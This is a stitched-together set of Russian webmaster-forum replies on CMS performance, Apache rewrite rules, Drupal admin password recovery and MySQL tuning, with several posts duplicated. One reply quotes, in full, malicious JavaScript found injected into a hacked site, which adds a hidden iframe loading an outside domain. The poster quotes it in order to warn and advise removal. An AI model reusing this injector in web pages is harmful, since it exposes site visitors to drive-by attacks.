Fubu_By: надо движёк который бы нормально работал без тормазов, страницы грузиись до 1 секунды. Количество записей 400т в таблице с основным контентом, посещаемость на старте 10т, в будущем 100т,
Время загрузки зависит не только от выбранного двигателя, но и от настроек всего сервера, где живёт сайт.
Укажите требования к движку (требуемая функциональность) и опишите контент (что за сайт). Тогда можно будет и двигатель советовать, и настройку всего остального.
А так могу разве что ikiwiki посоветовать, при условии, что сервер в состоянии отдавать весь статический контент страницы за 1 секунду.
silverspam: перерыл все файлы. Последние изменения в файлах на хостинге датированы 28.11.10, а беда началась когда-то в последние два дня.
Из-за хостинга может быть такое? Каким образом?
И еще интересно было бы узнать какой хостинг у ТС :)
Если хостинг shared, то вполне возможно массовое "заражение" сайтов разнообразными подобными вставками, видел такое неоднкратно, пока сам сидел на shared. Что они конкретно исполняют, одному богу известно - от накрутки счётчиков до DDoS.
Ищите, уничтожайте, жалуйтесь хостеру упомянутого домена - в общем, действуйте. Но вначале сообщите тех.поддержке вашего хостера. С удалением такого кода медлить не советую.
temmokan, я почитала, попробовала разные варианты, не хочет, поэтому и спрашиваю, вдруг кто подскажет, что точно надо прописать, а то уже замучилась. Надо sks/molex/catalog/UTP/ преобразовать в sks/molex/catalog/UTP_kabel_unshielded_twisted_pair.
RewriteEngine On
RewriteRule ^sks/molex/catalog/UTP/$ sks/molex/catalog/UTP_kabel_unshielded_twisted_pair [L]
Если выдаёт 404, то два вопроса: по какому адресу обращаетесь,
Ervin: LEOnidUKG, мой вариант определённо первый - допилить готовое решение менее затратно - во всех смыслах - чем делать с нуля...
temmokan, спасибо, если потребуется - обязательно :)
Буду рад помочь.
BTW, Друпал хоть и не самое лёгкое приложение, но у меня накоплен неплохой опыт оптимизации VDS/DS под него. Удачи!
Вот, именно то, что было нужно. Единственное, что 12 часов не всегда разумное время (пример: сдохло "железо" выделенного сервера или упала связность - ожидать даунтайма вплоть до 12 часов?). Опять же основываясь на опыте работы со службами поддержки: там бывает маркировка запроса как "экстренный" - с пояснением огромными красными буквами: использовать только в случае (перечислены случаи), иначе вам будет выставлен счёт на столько-то лямов за срочность.
Если пароль не подходит, то откройте phpMyAdmin (или подключитесь из командной строки) и в таблице users замените поле pass для uid=1 (заодно увидите имя пользователя администратора), в поле pass поместите md5-хэш пароля
Если нет под рукой возможности сосчитать md5, это можно сделать, например, тут
надо движёк который бы нормально работал без тормазов, страницы грузиись до 1 секунды. Количество записей 400т в таблице с основным контентом, посещаемость на старте 10т, в будущем 100т,
Время загрузки зависит не только от выбранного двигателя, но и от настроек всего сервера, где живёт сайт.
Укажите требования к движку (требуемая функциональность) и опишите контент (что за сайт). Тогда можно будет и двигатель советовать, и настройку всего остального.
А так могу разве что ikiwiki посоветовать, при условии, что сервер в состоянии отдавать весь статический контент страницы за 1 секунду.
перерыл все файлы. Последние изменения в файлах на хостинге датированы 28.11.10, а беда началась когда-то в последние два дня.
Из-за хостинга может быть такое? Каким образом?
И еще интересно было бы узнать какой хостинг у ТС :)
Если хостинг shared, то вполне возможно массовое "заражение" сайтов разнообразными подобными вставками, видел такое неоднкратно, пока сам сидел на shared. Что они конкретно исполняют, одному богу известно - от накрутки счётчиков до DDoS.
Ищите, уничтожайте, жалуйтесь хостеру упомянутого домена - в общем, действуйте. Но вначале сообщите тех.поддержке вашего хостера. С удалением такого кода медлить не советую.
Упомянутый код исполняет вот это:
if (document.getElementsByTagName('body')[0]){iframer();
} else {
var bdy = document.createElement("body");
try {
document.appendChild(bdy);
} catch (e) {
document.body = bdy;
}
if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='http://picheta.net/main.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
}
function iframer(){
var f = document.createElement('iframe');f.setAttribute('src','http://picheta.net/main.php');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}
Иными словами, вставляет iframe с адресом на http:// picheta.net / main.php
Выясняйте дальше, чем это опасно. Но открывать этот адрес в браузере очень не советую.
Если выдаёт 404, то два вопроса: по какому адресу обращаетесь,
http://example.com/sks/molex/catalog/UTP
или
http://example.com/sks/molex/catalog/UTP/
и - существует ли адресат, т.е.
http://example.com/sks/molex/catalog/UTP_kabel_unshielded_twisted_pair
(не выдаёт ли он 404)
Если http://example.com/sks/molex/catalog/UTP - каталог (не файл), и при обращении к нему выдаётся 404, а по http://example.com/sks/molex/catalog/UTP/ выдаётся то, что нужно (индексный файл или список элементов), то, возможно. следует воспользоваться такой конструкцией:
(если адрес не заканчивается слэшем, и нет такого файла, то перенаправит сервер на тот же адрес с добавленным слэшем)
Телепаты, как всегда, в отпуске. Дайте пример - что во что преобразовать. И да, есть много справочников.
http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html
http://httpd.apache.org/docs/2.0/misc/rewriteguide.html
На русском языке, навскидку:
http://www.opennet.ru/base/dev/mod_rewrite_guide.txt.html
LEOnidUKG, мой вариант определённо первый - допилить готовое решение менее затратно - во всех смыслах - чем делать с нуля...
temmokan, спасибо, если потребуется - обязательно :)
Буду рад помочь.
BTW, Друпал хоть и не самое лёгкое приложение, но у меня накоплен неплохой опыт оптимизации VDS/DS под него. Удачи!
А тут и я с Вами согласен.
поэтому на коленке появился такой документ: http://infiumhost.com/documents/reglament/
(даже в индексах нету, теперь будет)
Вот, именно то, что было нужно. Единственное, что 12 часов не всегда разумное время (пример: сдохло "железо" выделенного сервера или упала связность - ожидать даунтайма вплоть до 12 часов?). Опять же основываясь на опыте работы со службами поддержки: там бывает маркировка запроса как "экстренный" - с пояснением огромными красными буквами: использовать только в случае (перечислены случаи), иначе вам будет выставлен счёт на столько-то лямов за срочность.
Исследуйте отдельно вопрос оптимизации настройки самой СУБД - my.cnf, то есть.
Если есть возможность, изучите, что сообщает, например, tuning-primer.sh.
Страница для регистрации пользователя на Drupal-сайтах:
http://example.com/user или http://example.com/?q=user
после успешной авторизации админка доступна как
http://example.com/admin или http://example.com/?q=admin
Если пароль не подходит, то откройте phpMyAdmin (или подключитесь из командной строки) и в таблице users замените поле pass для uid=1 (заодно увидите имя пользователя администратора), в поле pass поместите md5-хэш пароля
Если нет под рукой возможности сосчитать md5, это можно сделать, например, тут
http://www.adamek.biz/md5-generator.php
Работал со следующими службами:
XSbackup.com
ServerOrigin.com
Обеими доволен, цены также вполне умеренные.